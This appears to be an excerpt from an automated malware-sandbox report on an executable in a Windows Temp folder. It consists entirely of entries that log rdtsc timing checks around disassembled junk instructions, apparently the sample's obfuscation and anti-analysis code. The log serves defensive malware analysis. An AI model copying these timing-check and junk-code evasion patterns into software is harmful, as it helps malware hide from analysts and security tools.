Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4C303D1 second address: 4C303D7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4C303D7 second address: 4C303DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4C303DD second address: 4C30430 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F742CC44218h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [ebp+08h] 0x0000000e pushad 0x0000000f mov edx, esi 0x00000011 movzx eax, bx 0x00000014 popad 0x00000015 and dword ptr [eax], 00000000h 0x00000018 jmp 00007F742CC44215h 0x0000001d and dword ptr [eax+04h], 00000000h 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007F742CC4420Dh 0x00000028 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4C105E9 second address: 4C105EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4C105EF second address: 4C105F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4C30016 second address: 4C3001C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4C3001C second address: 4C30020 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4C30020 second address: 4C3003E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebp 0x00000009 pushad 0x0000000a mov eax, 0B2FE47Bh 0x0000000f mov esi, 0BCE4D57h 0x00000014 popad 0x00000015 mov dword ptr [esp], ebp 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b mov bh, D1h 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4C3003E second address: 4C3005A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F742CC44218h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4C30224 second address: 4C3027A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F742CEB81D2h 0x00000009 jmp 00007F742CEB81D5h 0x0000000e popfd 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 mov ebp, esp 0x00000014 pushad 0x00000015 mov esi, 4FC46A23h 0x0000001a push esi 0x0000001b pushad 0x0000001c popad 0x0000001d pop edi 0x0000001e popad 0x0000001f pop ebp 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007F742CEB81D7h 0x00000027 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4C3027A second address: 4C3027F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4C5069A second address: 4C506DC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, 6CCDE79Ah 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007F742CEB81D7h 0x00000011 xchg eax, ebp 0x00000012 jmp 00007F742CEB81D6h 0x00000017 mov ebp, esp 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c movzx ecx, di 0x0000001f rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4C506DC second address: 4C50714 instructions: 0x00000000 rdtsc 0x00000002 mov ecx, ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 pushfd 0x00000008 jmp 00007F742CC44210h 0x0000000d and ecx, 3BDEE098h 0x00000013 jmp 00007F742CC4420Bh 0x00000018 popfd 0x00000019 pop eax 0x0000001a popad 0x0000001b push esi 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f mov dh, F0h 0x00000021 mov esi, 31BA8299h 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4C50714 second address: 4C507A8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F742CEB81CFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ecx 0x0000000c pushad 0x0000000d mov edx, ecx 0x0000000f mov eax, 24AA2E27h 0x00000014 popad 0x00000015 mov eax, dword ptr [774365FCh] 0x0000001a pushad 0x0000001b pushfd 0x0000001c jmp 00007F742CEB81D8h 0x00000021 or cx, 5488h 0x00000026 jmp 00007F742CEB81CBh 0x0000002b popfd 0x0000002c pushfd 0x0000002d jmp 00007F742CEB81D8h 0x00000032 and eax, 43B6B6E8h 0x00000038 jmp 00007F742CEB81CBh 0x0000003d popfd 0x0000003e popad 0x0000003f test eax, eax 0x00000041 push eax 0x00000042 push edx 0x00000043 jmp 00007F742CEB81D5h 0x00000048 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4C507A8 second address: 4C507D2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F742CC44211h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F749F3A73AFh 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F742CC4420Dh 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4C507D2 second address: 4C507D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4C507D8 second address: 4C507DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4C507DC second address: 4C50834 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ecx, eax 0x0000000a pushad 0x0000000b mov di, 2ED8h 0x0000000f pushfd 0x00000010 jmp 00007F742CEB81D1h 0x00000015 jmp 00007F742CEB81CBh 0x0000001a popfd 0x0000001b popad 0x0000001c xor eax, dword ptr [ebp+08h] 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 mov esi, 6A177C77h 0x00000027 pushfd 0x00000028 jmp 00007F742CEB81CCh 0x0000002d or cx, 2068h 0x00000032 jmp 00007F742CEB81CBh 0x00000037 popfd 0x00000038 popad 0x00000039 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4C50834 second address: 4C5084C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F742CC44214h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4C5084C second address: 4C50850 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4C50850 second address: 4C50867 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 and ecx, 1Fh 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F742CC4420Ah 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4C50867 second address: 4C508BD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F742CEB81D1h 0x00000009 and si, 33E6h 0x0000000e jmp 00007F742CEB81D1h 0x00000013 popfd 0x00000014 pushfd 0x00000015 jmp 00007F742CEB81D0h 0x0000001a xor ah, FFFFFF88h 0x0000001d jmp 00007F742CEB81CBh 0x00000022 popfd 0x00000023 popad 0x00000024 pop edx 0x00000025 pop eax 0x00000026 ror eax, cl 0x00000028 push eax 0x00000029 push edx 0x0000002a pushad 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4C508BD second address: 4C508C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov ah, bh 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4C508C4 second address: 4C508DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F742CEB81D6h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4C508DE second address: 4C509A4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F742CC4420Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b leave 0x0000000c jmp 00007F742CC44216h 0x00000011 retn 0004h 0x00000014 nop 0x00000015 mov esi, eax 0x00000017 lea eax, dword ptr [ebp-08h] 0x0000001a xor esi, dword ptr [002B0014h] 0x00000020 push eax 0x00000021 push eax 0x00000022 push eax 0x00000023 lea eax, dword ptr [ebp-10h] 0x00000026 push eax 0x00000027 call 00007F743162537Fh 0x0000002c push FFFFFFFEh 0x0000002e jmp 00007F742CC44210h 0x00000033 pop eax 0x00000034 jmp 00007F742CC44210h 0x00000039 ret 0x0000003a nop 0x0000003b push eax 0x0000003c call 00007F743162539Ch 0x00000041 mov edi, edi 0x00000043 pushad 0x00000044 pushfd 0x00000045 jmp 00007F742CC4420Eh 0x0000004a and ax, 5108h 0x0000004f jmp 00007F742CC4420Bh 0x00000054 popfd 0x00000055 pushad 0x00000056 mov ecx, 29BF3395h 0x0000005b pushfd 0x0000005c jmp 00007F742CC44212h 0x00000061 adc ax, F368h 0x00000066 jmp 00007F742CC4420Bh 0x0000006b popfd 0x0000006c popad 0x0000006d popad 0x0000006e xchg eax, ebp 0x0000006f jmp 00007F742CC44216h 0x00000074 push eax 0x00000075 push eax 0x00000076 push edx 0x00000077 jmp 00007F742CC4420Eh 0x0000007c rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4C509A4 second address: 4C509A9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4C509A9 second address: 4C509DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f pushfd 0x00000010 jmp 00007F742CC44212h 0x00000015 sub al, 00000058h 0x00000018 jmp 00007F742CC4420Bh 0x0000001d popfd 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4C509DB second address: 4C509E5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, 24351E7Ah 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4C509E5 second address: 4C50A0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov ebp, esp 0x00000009 jmp 00007F742CC44217h 0x0000000e pop ebp 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4C50A0C second address: 4C50A27 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F742CEB81D7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4C000E5 second address: 4C000E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4C000E9 second address: 4C000EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4C000EF second address: 4C001CA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F742CC4420Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 and esp, FFFFFFF8h 0x0000000c jmp 00007F742CC44210h 0x00000011 xchg eax, ecx 0x00000012 jmp 00007F742CC44210h 0x00000017 push eax 0x00000018 pushad 0x00000019 mov edx, 31549EA4h 0x0000001e mov dx, 0110h 0x00000022 popad 0x00000023 xchg eax, ecx 0x00000024 pushad 0x00000025 mov edi, 7349E228h 0x0000002a pushfd 0x0000002b jmp 00007F742CC44211h 0x00000030 xor ch, FFFFFF96h 0x00000033 jmp 00007F742CC44211h 0x00000038 popfd 0x00000039 popad 0x0000003a xchg eax, ebx 0x0000003b jmp 00007F742CC4420Eh 0x00000040 push eax 0x00000041 jmp 00007F742CC4420Bh 0x00000046 xchg eax, ebx 0x00000047 pushad 0x00000048 call 00007F742CC44214h 0x0000004d mov ecx, 020B2C71h 0x00000052 pop ecx 0x00000053 jmp 00007F742CC44217h 0x00000058 popad 0x00000059 mov ebx, dword ptr [ebp+10h] 0x0000005c pushad 0x0000005d mov esi, 474621DBh 0x00000062 call 00007F742CC44210h 0x00000067 push eax 0x00000068 push edx 0x00000069 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4C001CA second address: 4C001E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F742CEB81D3h 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4C001E6 second address: 4C0020C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F742CC44219h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], esi 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4C0020C second address: 4C00210 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4C00210 second address: 4C00216 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4C00216 second address: 4C0022B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F742CEB81D1h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4C0022B second address: 4C0022F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4C0022F second address: 4C00240 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov esi, dword ptr [ebp+08h] 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4C00240 second address: 4C002FE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, ecx 0x00000005 mov ecx, 325CF999h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, edi 0x0000000e pushad 0x0000000f mov cx, 42D1h 0x00000013 mov ebx, ecx 0x00000015 popad 0x00000016 push eax 0x00000017 pushad 0x00000018 call 00007F742CC44214h 0x0000001d mov si, 7DB1h 0x00000021 pop ecx 0x00000022 popad 0x00000023 xchg eax, edi 0x00000024 jmp 00007F742CC4420Dh 0x00000029 test esi, esi 0x0000002b jmp 00007F742CC4420Eh 0x00000030 je 00007F749F3F258Bh 0x00000036 pushad 0x00000037 pushfd 0x00000038 jmp 00007F742CC4420Eh 0x0000003d sub ax, C9E8h 0x00000042 jmp 00007F742CC4420Bh 0x00000047 popfd 0x00000048 pushfd 0x00000049 jmp 00007F742CC44218h 0x0000004e add ecx, 09445C48h 0x00000054 jmp 00007F742CC4420Bh 0x00000059 popfd 0x0000005a popad 0x0000005b cmp dword ptr [esi+08h], DDEEDDEEh 0x00000062 push eax 0x00000063 push edx 0x00000064 push eax 0x00000065 push edx 0x00000066 jmp 00007F742CC44210h 0x0000006b rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4C002FE second address: 4C0030D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F742CEB81CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4C0030D second address: 4C00365 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F742CC44219h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F749F3F2507h 0x0000000f jmp 00007F742CC4420Eh 0x00000014 mov edx, dword ptr [esi+44h] 0x00000017 jmp 00007F742CC44210h 0x0000001c or edx, dword ptr [ebp+0Ch] 0x0000001f pushad 0x00000020 call 00007F742CC4420Eh 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4C00365 second address: 4C003BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 mov dx, 3444h 0x00000009 popad 0x0000000a test edx, 61000000h 0x00000010 pushad 0x00000011 movsx edi, si 0x00000014 mov ecx, 6DCD1661h 0x00000019 popad 0x0000001a jne 00007F749F6664CFh 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 pushfd 0x00000024 jmp 00007F742CEB81D9h 0x00000029 or ecx, 33FAFEE6h 0x0000002f jmp 00007F742CEB81D1h 0x00000034 popfd 0x00000035 mov cx, 0D17h 0x00000039 popad 0x0000003a rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4C003BF second address: 4C003DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F742CC44218h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4C003DB second address: 4C003F3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test byte ptr [esi+48h], 00000001h 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F742CEB81CAh 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4C003F3 second address: 4C00405 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F742CC4420Eh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4C00405 second address: 4C00420 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F742CEB81CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jne 00007F749F666451h 0x00000011 pushad 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4C00420 second address: 4C00431 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 mov cl, 9Bh 0x00000007 popad 0x00000008 test bl, 00000007h 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4C00431 second address: 4C00435 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4C00435 second address: 4C00447 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F742CC4420Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4C00447 second address: 4C0044D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4BF0805 second address: 4BF0842 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, 7004h 0x00000007 push edi 0x00000008 pop ecx 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jmp 00007F742CC44216h 0x00000012 xchg eax, ebp 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F742CC44217h 0x0000001a rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4BF0842 second address: 4BF0848 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4BF0848 second address: 4BF084C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4BF084C second address: 4BF0850 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4BF0850 second address: 4BF0891 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a jmp 00007F742CC44217h 0x0000000f and esp, FFFFFFF8h 0x00000012 jmp 00007F742CC44216h 0x00000017 xchg eax, ebx 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4BF0891 second address: 4BF0895 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4BF0895 second address: 4BF089B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4BF089B second address: 4BF08F0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F742CEB81D2h 0x00000008 call 00007F742CEB81D2h 0x0000000d pop ecx 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 pushad 0x00000013 mov bx, si 0x00000016 mov ax, 0A49h 0x0000001a popad 0x0000001b xchg eax, ebx 0x0000001c pushad 0x0000001d movzx esi, dx 0x00000020 mov eax, edx 0x00000022 popad 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007F742CEB81D5h 0x0000002b rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4BF08F0 second address: 4BF090E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F742CC44211h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], esi 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4BF090E second address: 4BF0921 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F742CEB81CFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4BF0921 second address: 4BF0974 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F742CC4420Fh 0x00000009 add ecx, 634C176Eh 0x0000000f jmp 00007F742CC44219h 0x00000014 popfd 0x00000015 mov bl, al 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a mov esi, dword ptr [ebp+08h] 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007F742CC44216h 0x00000024 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4BF0974 second address: 4BF09E5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F742CEB81CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub ebx, ebx 0x0000000b jmp 00007F742CEB81CFh 0x00000010 test esi, esi 0x00000012 jmp 00007F742CEB81D6h 0x00000017 je 00007F749F66DBA8h 0x0000001d pushad 0x0000001e pushad 0x0000001f jmp 00007F742CEB81CCh 0x00000024 pushad 0x00000025 popad 0x00000026 popad 0x00000027 popad 0x00000028 cmp dword ptr [esi+08h], DDEEDDEEh 0x0000002f push eax 0x00000030 push edx 0x00000031 jmp 00007F742CEB81D8h 0x00000036 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4BF09E5 second address: 4BF0A17 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F742CC4420Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ecx, esi 0x0000000b jmp 00007F742CC44216h 0x00000010 je 00007F749F3F9B9Dh 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4BF0A17 second address: 4BF0A1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov ax, dx 0x00000007 popad 0x00000008 rdtsc
